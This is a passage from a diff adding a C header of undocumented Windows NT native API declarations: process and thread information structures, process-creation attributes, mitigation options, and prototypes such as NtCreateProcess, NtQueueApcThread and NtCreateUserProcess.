+} PROCESS_ENERGY_TRACKING_STATE, *PPROCESS_ENERGY_TRACKING_STATE; + +typedef struct _MANAGE_WRITES_TO_EXECUTABLE_MEMORY +{ + ULONG Version : 8; + ULONG ProcessEnableWriteExceptions : 1; + ULONG ThreadAllowWrites : 1; + ULONG Spare : 22; + PVOID KernelWriteToExecutableSignal; // 19H1 +} MANAGE_WRITES_TO_EXECUTABLE_MEMORY, *PMANAGE_WRITES_TO_EXECUTABLE_MEMORY; + +#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM 1 +#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM 2 +#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM_V 1UL +#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM_V 2UL + +typedef union _PROCESS_READWRITEVM_LOGGING_INFORMATION +{ + UCHAR Flags; + struct + { + UCHAR EnableReadVmLogging : 1; + UCHAR EnableWriteVmLogging : 1; + UCHAR Unused : 6; + }; +} PROCESS_READWRITEVM_LOGGING_INFORMATION, *PPROCESS_READWRITEVM_LOGGING_INFORMATION; + +typedef struct _PROCESS_UPTIME_INFORMATION +{ + ULONGLONG QueryInterruptTime; + ULONGLONG QueryUnbiasedTime; + ULONGLONG EndInterruptTime; + ULONGLONG TimeSinceCreation; + ULONGLONG Uptime; + ULONGLONG SuspendedTime; + union + { + ULONG HangCount : 4; + ULONG GhostCount : 4; + ULONG Crashed : 1; + ULONG Terminated : 1; + }; +} PROCESS_UPTIME_INFORMATION, *PPROCESS_UPTIME_INFORMATION; + +typedef union _PROCESS_SYSTEM_RESOURCE_MANAGEMENT +{ + ULONG Flags; + struct + { + ULONG Foreground : 1; + ULONG Reserved : 31; + }; +} PROCESS_SYSTEM_RESOURCE_MANAGEMENT, *PPROCESS_SYSTEM_RESOURCE_MANAGEMENT; + +// private +typedef struct _PROCESS_SECURITY_DOMAIN_INFORMATION +{ + ULONGLONG SecurityDomain; +} PROCESS_SECURITY_DOMAIN_INFORMATION, *PPROCESS_SECURITY_DOMAIN_INFORMATION; + +// private +typedef struct _PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION +{ + HANDLE ProcessHandle; +} PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION, *PPROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION; + +// private +typedef struct _PROCESS_LOGGING_INFORMATION +{ + ULONG Flags; + struct + { + ULONG EnableReadVmLogging : 1; + ULONG EnableWriteVmLogging : 1; + ULONG EnableProcessSuspendResumeLogging : 1; + ULONG EnableThreadSuspendResumeLogging : 1; + ULONG Reserved : 28; + }; +} PROCESS_LOGGING_INFORMATION, *PPROCESS_LOGGING_INFORMATION; + +// private +typedef struct _PROCESS_LEAP_SECOND_INFORMATION +{ + ULONG Flags; + ULONG Reserved; +} PROCESS_LEAP_SECOND_INFORMATION, *PPROCESS_LEAP_SECOND_INFORMATION; + +// private +typedef struct _PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION +{ + ULONGLONG ReserveSize; + ULONGLONG CommitSize; + ULONG PreferredNode; + ULONG Reserved; + PVOID Ssp; +} PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, *PPROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION; + +// private +typedef struct _PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION +{ + PVOID Ssp; +} PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, *PPROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION; + +// end_private + +#endif + +// Thread information structures + +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + ULONG_PTR AffinityMask; + KPRIORITY Priority; + LONG BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +// private +typedef struct _THREAD_LAST_SYSCALL_INFORMATION +{ + PVOID FirstArgument; + USHORT SystemCallNumber; +#ifdef WIN64 + USHORT Pad[0x3]; // since REDSTONE2 +#else + USHORT Pad[0x1]; // since REDSTONE2 +#endif + ULONG64 WaitTime; +} THREAD_LAST_SYSCALL_INFORMATION, *PTHREAD_LAST_SYSCALL_INFORMATION; + +// private +typedef struct _THREAD_CYCLE_TIME_INFORMATION +{ + ULONGLONG AccumulatedCycles; + ULONGLONG CurrentCycleCount; +} THREAD_CYCLE_TIME_INFORMATION, *PTHREAD_CYCLE_TIME_INFORMATION; + +// private +typedef struct _THREAD_TEB_INFORMATION +{ + PVOID TebInformation; // buffer to place data in + ULONG TebOffset; // offset in TEB to begin reading from + ULONG BytesToRead; // number of bytes to read +} THREAD_TEB_INFORMATION, *PTHREAD_TEB_INFORMATION; + +// symbols +typedef struct _COUNTER_READING +{ + HARDWARE_COUNTER_TYPE Type; + ULONG Index; + ULONG64 Start; + ULONG64 Total; +} COUNTER_READING, *PCOUNTER_READING; + +// symbols +typedef struct _THREAD_PERFORMANCE_DATA +{ + USHORT Size; + USHORT Version; + PROCESSOR_NUMBER ProcessorNumber; + ULONG ContextSwitches; + ULONG HwCountersCount; + ULONG64 UpdateCount; + ULONG64 WaitReasonBitMap; + ULONG64 HardwareCounters; + COUNTER_READING CycleTime; + COUNTER_READING HwCounters[MAX_HW_COUNTERS]; +} THREAD_PERFORMANCE_DATA, *PTHREAD_PERFORMANCE_DATA; + +// private +typedef struct _THREAD_PROFILING_INFORMATION +{ + ULONG64 HardwareCounters; + ULONG Flags; + ULONG Enable; + PTHREAD_PERFORMANCE_DATA PerformanceData; +} THREAD_PROFILING_INFORMATION, *PTHREAD_PROFILING_INFORMATION; + +// private +typedef struct _RTL_UMS_CONTEXT +{ + SINGLE_LIST_ENTRY Link; + CONTEXT Context; + PVOID Teb; + PVOID UserContext; + volatile ULONG ScheduledThread; + volatile ULONG Suspended; + volatile ULONG VolatileContext; + volatile ULONG Terminated; + volatile ULONG DebugActive; + volatile ULONG RunningOnSelfThread; + volatile ULONG DenyRunningOnSelfThread; + volatile LONG Flags; + volatile ULONG64 KernelUpdateLock; + volatile ULONG64 PrimaryClientID; + volatile ULONG64 ContextLock; + struct _RTL_UMS_CONTEXT* PrimaryUmsContext; + ULONG SwitchCount; + ULONG KernelYieldCount; + ULONG MixedYieldCount; + ULONG YieldCount; +} RTL_UMS_CONTEXT, *PRTL_UMS_CONTEXT; + +// private +typedef enum _THREAD_UMS_INFORMATION_COMMAND +{ + UmsInformationCommandInvalid, + UmsInformationCommandAttach, + UmsInformationCommandDetach, + UmsInformationCommandQuery +} THREAD_UMS_INFORMATION_COMMAND; + +// private +typedef struct _RTL_UMS_COMPLETION_LIST +{ + PSINGLE_LIST_ENTRY ThreadListHead; + PVOID CompletionEvent; + ULONG CompletionFlags; + SINGLE_LIST_ENTRY InternalListHead; +} RTL_UMS_COMPLETION_LIST, *PRTL_UMS_COMPLETION_LIST; + +// private +typedef struct _THREAD_UMS_INFORMATION +{ + THREAD_UMS_INFORMATION_COMMAND Command; + PRTL_UMS_COMPLETION_LIST CompletionList; + PRTL_UMS_CONTEXT UmsContext; + union + { + ULONG Flags; + struct + { + ULONG IsUmsSchedulerThread : 1; + ULONG IsUmsWorkerThread : 1; + ULONG SpareBits : 30; + }; + }; +} THREAD_UMS_INFORMATION, *PTHREAD_UMS_INFORMATION; + +// private +typedef struct _THREAD_NAME_INFORMATION +{ + UNICODE_STRING ThreadName; +} THREAD_NAME_INFORMATION, *PTHREAD_NAME_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +// private +typedef enum _SUBSYSTEM_INFORMATION_TYPE +{ + SubsystemInformationTypeWin32, + SubsystemInformationTypeWSL, + MaxSubsystemInformationType +} SUBSYSTEM_INFORMATION_TYPE; +#endif + +// private +typedef enum _THREAD_WORKLOAD_CLASS +{ + ThreadWorkloadClassDefault, + ThreadWorkloadClassGraphics, + MaxThreadWorkloadClass +} THREAD_WORKLOAD_CLASS; + +// Processes + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort + ); + +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _In_ ULONG JobMemberLevel + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendProcess( + _In_ HANDLE ProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeProcess( + _In_ HANDLE ProcessHandle + ); + +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define ZwCurrentProcess() NtCurrentProcess() +#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) +#define ZwCurrentThread() NtCurrentThread() +#define NtCurrentSession() ((HANDLE)(LONG_PTR)-3) +#define ZwCurrentSession() NtCurrentSession() +#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock) + +// Windows 8 and above +#define NtCurrentProcessToken() ((HANDLE)(LONG_PTR)-4) +#define NtCurrentThreadToken() ((HANDLE)(LONG_PTR)-5) +#define NtCurrentEffectiveToken() ((HANDLE)(LONG_PTR)-6) +#define NtCurrentSilo() ((HANDLE)(LONG_PTR)-1) + +// Not NT, but useful. +#define NtCurrentProcessId() (NtCurrentTeb()->ClientId.UniqueProcess) +#define NtCurrentThreadId() (NtCurrentTeb()->ClientId.UniqueThread) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryPortInformationProcess( + VOID + ); + +#endif + +// Threads + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +ULONG +NTAPI +NtGetCurrentProcessorNumber( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThread( + _In_ HANDLE ThreadHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTestAlert( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort( + _In_ HANDLE PortHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLdtEntries( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi + ); + +typedef VOID (*PPS_APC_ROUTINE)( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +#if (PHNT_VERSION >= PHNT_WIN7) + +#define APC_FORCE_THREAD_SIGNAL ((HANDLE)1) // UserApcReserveHandle + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE UserApcReserveHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN8) + +// rev +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThreadByThreadId( + _In_ HANDLE ThreadId + ); + +// rev +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForAlertByThreadId( + _In_ PVOID Address, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#endif + +#endif + +// User processes and threads + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +// Attributes + +// private +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 // may be used with thread creation +#define PS_ATTRIBUTE_INPUT 0x00020000 // input only +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // "accumulated" e.g. bitmasks, counters, etc. + +// private +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess, // in HANDLE + PsAttributeDebugPort, // in HANDLE + PsAttributeToken, // in HANDLE + PsAttributeClientId, // out PCLIENT_ID + PsAttributeTebAddress, // out PTEB * + PsAttributeImageName, // in PWSTR + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE + PsAttributePriorityClass, // in UCHAR + PsAttributeErrorMode, // in ULONG + PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO + PsAttributeHandleList, // in PHANDLE + PsAttributeGroupAffinity, // in PGROUP_AFFINITY + PsAttributePreferredNode, // in PUSHORT + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER + PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES + PsAttributeMitigationOptions, // in UCHAR + PsAttributeProtectionLevel, // in ULONG + PsAttributeSecureProcess, // since THRESHOLD + PsAttributeJobList, + PsAttributeChildProcessPolicy, // since THRESHOLD2 + PsAttributeAllApplicationPackagesPolicy, // since REDSTONE + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, // PS_BNO_ISOLATION_PARAMETERS + PsAttributeDesktopAppPolicy, // in ULONG + PsAttributeChpe, // since REDSTONE3 + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +// begin_rev + +#define PsAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_UMS_THREAD \ + PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) + +// end_rev + +// begin_private + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef struct _PS_MEMORY_RESERVE +{ + PVOID ReserveAddress; + SIZE_T ReserveSize; +} PS_MEMORY_RESERVE, *PPS_MEMORY_RESERVE; + +typedef enum _PS_STD_HANDLE_STATE +{ + PsNeverDuplicate, + PsRequestDuplicate, // duplicate standard handles specified by PseudoHandleMask, and only if StdHandleSubsystemType matches the image subsystem + PsAlwaysDuplicate, // always duplicate standard handles + PsMaxStdHandleStates +} PS_STD_HANDLE_STATE; + +// begin_rev +#define PS_STD_INPUT_HANDLE 0x1 +#define PS_STD_OUTPUT_HANDLE 0x2 +#define PS_STD_ERROR_HANDLE 0x4 +// end_rev + +typedef struct _PS_STD_HANDLE_INFO +{ + union + { + ULONG Flags; + struct + { + ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE + ULONG PseudoHandleMask : 3; // PS_STD_* + }; + }; + ULONG StdHandleSubsystemType; +} PS_STD_HANDLE_INFO, *PPS_STD_HANDLE_INFO; + +// private +typedef struct _PS_BNO_ISOLATION_PARAMETERS +{ + UNICODE_STRING IsolationPrefix; + ULONG HandleCount; + PVOID *Handles; + BOOLEAN IsolationEnabled; +} PS_BNO_ISOLATION_PARAMETERS, *PPS_BNO_ISOLATION_PARAMETERS; + +// private +typedef enum _PS_MITIGATION_OPTION +{ + PS_MITIGATION_OPTION_NX, + PS_MITIGATION_OPTION_SEHOP, + PS_MITIGATION_OPTION_FORCE_RELOCATE_IMAGES, + PS_MITIGATION_OPTION_HEAP_TERMINATE, + PS_MITIGATION_OPTION_BOTTOM_UP_ASLR, + PS_MITIGATION_OPTION_HIGH_ENTROPY_ASLR, + PS_MITIGATION_OPTION_STRICT_HANDLE_CHECKS, + PS_MITIGATION_OPTION_WIN32K_SYSTEM_CALL_DISABLE, + PS_MITIGATION_OPTION_EXTENSION_POINT_DISABLE, + PS_MITIGATION_OPTION_PROHIBIT_DYNAMIC_CODE, + PS_MITIGATION_OPTION_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_BLOCK_NON_MICROSOFT_BINARIES, + PS_MITIGATION_OPTION_FONT_DISABLE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_REMOTE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_LOW_LABEL, + PS_MITIGATION_OPTION_IMAGE_LOAD_PREFER_SYSTEM32, + PS_MITIGATION_OPTION_RETURN_FLOW_GUARD, + PS_MITIGATION_OPTION_LOADER_INTEGRITY_CONTINUITY, + PS_MITIGATION_OPTION_STRICT_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_RESTRICT_SET_THREAD_CONTEXT, + PS_MITIGATION_OPTION_ROP_STACKPIVOT, // since REDSTONE3 + PS_MITIGATION_OPTION_ROP_CALLER_CHECK, + PS_MITIGATION_OPTION_ROP_SIMEXEC, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER_PLUS, + PS_MITIGATION_OPTION_RESTRICT_CHILD_PROCESS_CREATION, + PS_MITIGATION_OPTION_IMPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_MODULE_TAMPERING_PROTECTION, + PS_MITIGATION_OPTION_RESTRICT_INDIRECT_BRANCH_PREDICTION, + PS_MITIGATION_OPTION_SPECULATIVE_STORE_BYPASS_DISABLE, // since REDSTONE5 + PS_MITIGATION_OPTION_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY, + PS_MITIGATION_OPTION_CET_SHADOW_STACKS +} PS_MITIGATION_OPTION; + +// windows-internals-book:"Chapter 5" +typedef enum _PS_CREATE_STATE +{ + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, // Debugger specified + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO +{ + SIZE_T Size; + PS_CREATE_STATE State; + union + { + // PsCreateInitialState + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + // PsCreateFailOnSectionCreate + struct + { + HANDLE FileHandle; + } FailSection; + + // PsCreateFailExeFormat + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + // PsCreateFailExeName + struct + { + HANDLE IFEOKey; + } ExeName; + + // PsCreateSuccess + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; // from Image File Execution Options + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, *PPS_CREATE_INFO; + +// end_private + +// begin_rev +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 +#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 +// Extended PROCESS_CREATE_FLAGS_* +#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 +#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // ? +#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 +#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 +#define PROCESS_CREATE_FLAGS_EXTENDED_UNKNOWN 0x00000400 +// end_rev + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* + _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* + 